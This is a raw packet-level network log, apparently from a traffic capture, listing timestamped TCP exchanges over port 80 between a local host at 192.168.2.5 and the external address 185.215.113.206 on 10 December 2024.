Dec 10, 2024 02:50:06.263612032 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.263765097 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.263811111 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.264652967 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.264699936 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.264760017 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.264805079 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.265772104 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.265815020 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.265897036 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.265949011 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.266889095 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.266932964 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.267040014 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.267116070 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.268018961 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.268130064 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.268148899 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.268229961 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.269165039 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.269251108 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.269284964 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.269330978 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.270262957 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.270313025 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.270350933 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.270410061 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.271374941 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.271434069 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.271466017 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.271518946 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.272553921 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.272618055 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.272634983 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.272675037 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.273605108 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.273720026 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.273724079 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.273792982 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.274694920 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.274775982 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.274808884 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.274863958 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.275830984 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.275871992 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.275929928 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.275976896 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.276943922 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.276993036 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.277029991 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.277082920 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.278052092 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.278115034 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.278155088 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.278220892 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.279170036 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.279237986 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.279272079 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.279324055 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.280268908 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.280361891 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.280405998 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.280451059 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.281384945 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.281431913 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.281476021 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.281522989 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.282490015 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.282551050 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.282587051 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.282648087 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.328274965 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.328352928 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.328392029 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.328440905 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.328874111 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.328922987 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.329001904 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.329058886 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.330033064 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.330106020 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.330142975 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.330180883 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.331052065 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.331157923 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.331163883 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.331214905 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.332225084 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.332283020 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.332365036 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.332420111 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.333261967 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.333302975 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.333395958 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.333436966 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.334369898 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.334423065 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.334465027 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.334527016 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.335563898 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.335618973 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.335660934 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.335705042 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.336685896 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.336728096 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.336767912 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.336813927 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.337690115 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.337729931 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.337877035 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.337932110 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.338778973 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.338838100 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.338871956 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.338928938 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.339899063 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.339970112 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.340010881 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.340054989 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.340997934 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.341059923 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.341104984 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.341166019 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.342103958 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.342187881 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.342348099 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.342391014 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.343239069 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.343291998 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.343369961 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.343432903 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.344326019 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.344381094 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.344432116 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.344499111 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.345415115 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.345470905 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.345561981 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.345609903 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.346515894 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.346592903 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.346681118 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.346750021 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.347664118 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.347729921 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.347737074 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.347801924 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.348731041 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.348818064 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.348822117 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.348871946 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.391762018 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.391828060 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.391870975 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.391926050 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.392313004 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.392358065 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.392420053 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.392472982 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.393388033 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.393470049 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.393512964 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.393556118 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.394494057 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.394551992 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.396676064 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.396724939 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.396738052 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.396740913 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.396758080 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.396791935 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.396801949 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.396805048 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.396840096 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.396840096 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.397840023 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.397900105 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.397942066 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.397988081 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.398924112 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.399024010 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.399030924 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.399122000 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.400046110 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.400091887 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.400177002 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.400253057 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.401165962 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.401215076 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.401261091 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.401407003 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.450649977 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.450759888 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.450763941 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.450798035 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.451214075 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.451262951 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.451384068 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.451498032 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.452303886 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.452366114 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.452405930 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.452491999 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.453442097 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.453521013 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.453542948 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.453593016 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.454576969 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.454632998 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.454701900 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.454752922 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.455668926 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.455708981 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.455723047 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.455781937 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.456720114 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.456819057 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.456828117 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.456878901 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.457854033 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.457921028 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.457956076 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.458029985 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.458954096 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.459011078 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.459053040 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.459109068 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.460069895 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.460118055 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.460140944 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.460186005 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.461183071 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.461244106 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.461276054 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.461352110 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.462255955 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.462312937 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.462373018 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.462435961 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.463416100 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.463488102 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.463527918 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.463587046 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.464473009 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.464529991 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.464571953 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.464641094 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.465553999 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.465615988 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.465662003 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.465723991 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.466666937 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.466716051 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.466768980 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.466861010 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.467777967 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.467823029 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.467885971 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.467941046 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.468920946 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.468991995 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.469072104 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.469120026 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.469999075 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.470051050 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.470094919 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.470144987 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.471096992 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.471165895 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.471206903 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.471270084 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.472217083 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.472273111 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.472309113 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.472368002 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.473328114 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.473411083 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.473439932 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.473491907 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.474416018 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.474468946 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.474509954 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.474595070 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.475471020 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.475569963 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.520838022 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.520891905 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.521059036 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.521106005 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.521385908 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.521445990 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.521490097 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.521548033 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.522521973 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.522581100 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.522727966 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.522774935 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.523622036 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.523679018 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.523714066 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.523768902 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.524754047 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.524806023 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.524843931 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.524883986 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.525819063 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.525872946 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.525907040 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.525983095 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.526911974 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.526958942 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.527024984 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.527095079 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.528029919 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.528086901 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.528125048 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.528176069 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.529150009 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.529197931 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.529230118 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.529282093 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.530335903 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.530406952 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.530462027 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.530534029 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.531430006 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.531490088 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.531512976 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.531554937 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.532485008 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.532542944 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.532629967 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.532684088 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.533564091 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.533607960 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.533680916 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.533726931 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.534642935 CET	80	49704	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:06.534698009 CET	49704	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:06.534759998 CET	80	49704	185.215.113.206	192.168.2.5
